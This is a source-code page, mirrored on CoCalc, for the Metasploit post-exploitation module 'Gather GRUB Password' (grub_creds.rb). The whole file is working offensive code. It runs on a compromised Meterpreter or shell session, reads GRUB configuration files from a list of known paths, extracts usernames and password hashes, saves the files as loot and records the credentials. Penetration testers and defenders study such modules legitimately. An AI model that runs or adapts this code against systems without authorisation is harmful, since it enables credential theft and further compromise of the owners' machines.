CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/grub_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gather GRUB Password',
15
'Description' => %q{
16
This module gathers GRUB passwords from GRUB bootloader config files.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Garvit Dewan <d.garvit[at]gmail.com>', # @dgarvit
21
'Taeber Rapczak <taeber[at]rapczak.com>',
22
'Shelby Pace'
23
],
24
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
25
'SessionTypes' => ['meterpreter', 'shell'],
26
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ]
27
)
28
)
29
30
register_options(
31
[
32
OptString.new(
33
'FILENAME',
34
[false, 'Additional grub configuration filename.', '']
35
),
36
]
37
)
38
end
39
40
def parse_passwd_from_file(file)
41
return unless readable?(file)
42
43
print_status("Reading #{file}")
44
45
idx = 0
46
contents = read_file(file)
47
have_pass = false
48
contents.each_line do |line|
49
next unless line.start_with?('password')
50
51
have_pass = true
52
pass_line = line.strip.split(' ')
53
unless pass_line.length == 3
54
print_status('Unknown Grub password convention. Printing line')
55
print_status(line)
56
next
57
end
58
59
convention = pass_line[0]
60
case convention
61
when 'password_pbkdf2'
62
@creds_hash[pass_line[1]] = pass_line[2]
63
when 'password'
64
if pass_line[1].start_with?('--')
65
@pass_hash[idx] = pass_line[2]
66
idx += 1
67
else
68
@creds_hash[pass_line[1]] = pass_line[2]
69
end
70
else
71
print_status('Unknown Grub password convention. Printing line')
72
print_status(line)
73
end
74
end
75
76
if have_pass
77
file_loc = store_loot('grub.config', 'text/plain', session, contents)
78
print_good("#{file} saved to #{file_loc}")
79
end
80
end
81
82
def run
83
@creds_hash = Hash.new
84
@pass_hash = Hash.new
85
86
targets = %w[
87
/boot/grub/grub.conf
88
/boot/grub/grub.cfg
89
/boot/grub/menu.lst
90
/boot/grub2/grub.cfg
91
/boot/grub2/user.cfg
92
/etc/grub.conf
93
/etc/grub/grub.cfg
94
/mnt/sysimage/boot/grub.conf
95
/mnt/boot/grub/grub.conf
96
/rpool/boot/grub/grub.cfg
97
]
98
99
targets << datastore['FILENAME'] unless datastore['FILENAME'].empty?
100
dir('/etc/grub.d').each do |file|
101
path = '/etc/grub.d/' + file
102
targets << path if file?(path)
103
end
104
105
print_status('Searching for GRUB config files..')
106
targets.each do |target|
107
parse_passwd_from_file(target)
108
end
109
110
if @creds_hash.empty? && @pass_hash.empty?
111
print_bad('No passwords found in GRUB config files')
112
else
113
print_good('Found credentials')
114
115
cred_table = Rex::Text::Table.new(
116
'Header' => 'Grub Credential Table',
117
'Indent' => 1,
118
'Columns' => [ 'Username', 'Password' ]
119
)
120
121
@creds_hash.each do |user, pass|
122
credential_data = {
123
origin_type: :session,
124
post_reference_name: refname,
125
private_type: :nonreplayable_hash,
126
private_data: pass,
127
session_id: session_db_id,
128
username: user,
129
workspace_id: myworkspace_id
130
}
131
132
cred_table << [ user, pass ]
133
create_credential(credential_data)
134
end
135
136
@pass_hash.each do |_index, pass|
137
credential_data = {
138
origin_type: :session,
139
post_reference_name: refname,
140
private_type: :nonreplayable_hash,
141
private_data: pass,
142
session_id: session_db_id,
143
username: '',
144
workspace_id: myworkspace_id
145
}
146
147
cred_table << [ '', pass ]
148
create_credential(credential_data)
149
end
150
151
print_line
152
print_line(cred_table.to_s)
153
end
154
end
155
end
156
157